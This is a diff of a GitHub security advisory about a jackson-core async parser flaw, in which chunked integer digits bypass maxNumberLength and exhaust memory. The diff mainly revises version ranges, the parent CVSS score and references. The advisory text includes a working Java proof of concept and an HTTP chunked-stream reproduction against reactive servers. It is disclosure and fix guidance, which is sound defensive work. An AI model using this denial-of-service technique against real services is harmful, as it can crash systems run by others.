diff --git a/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json b/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json
index 38fe0d6794cf..5729db0d6e98 100644
--- a/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json
+++ b/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json
@@ -1,11 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-r7wm-3cxj-wff9",
-  "modified": "2026-08-03T20:30:41Z",
+  "modified": "2026-08-03T20:30:42Z",
   "published": "2026-07-21T21:58:53Z",
   "aliases": [],
   "summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)",
-  "details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr >= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr >= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr >= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) & 0xFF;\n        if (ch < INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch > INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // <-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch >= INT_0 && ch <= INT_9) {\n        ++fractLen;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr >= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // <-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc && cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat > PoC.java <<'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n        for (int c = 0; c < 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux<DataBuffer>` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       <- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono<JsonNode>` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` /\nWebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr >= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
+  "details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr >= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr >= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr >= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) & 0xFF;\n        if (ch < INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch > INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // <-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch >= INT_0 && ch <= INT_9) {\n        ++fractLen;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr >= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // <-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 6.9 Moderate.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc && cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat > PoC.java <<'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n        for (int c = 0; c < 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux<DataBuffer>` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       <- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono<JsonNode>` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` /\nWebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr >= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
   "severity": [
     {
       "type": "CVSS_V4",
@@ -23,7 +23,7 @@
           "type": "ECOSYSTEM",
           "events": [
             {
-              "introduced": "0"
+              "introduced": "2.15.0"
             },
             {
               "fixed": "2.18.8"
@@ -69,6 +69,44 @@
           ]
         }
       ]
+    },
+    {
+      "package": {
+        "ecosystem": "Maven",
+        "name": "tools.jackson.core:jackson-core"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "3.2.0"
+            },
+            {
+              "fixed": "3.2.1"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "Maven",
+        "name": "com.fasterxml.jackson.core:jackson-core"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "2.22.0"
+            },
+            {
+              "fixed": "2.22.1"
+            }
+          ]
+        }
+      ]
     }
   ],
   "references": [
@@ -95,6 +133,10 @@
     {
       "type": "PACKAGE",
       "url": "https://github.com/FasterXML/jackson-core"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
     }
   ],
   "database_specific": {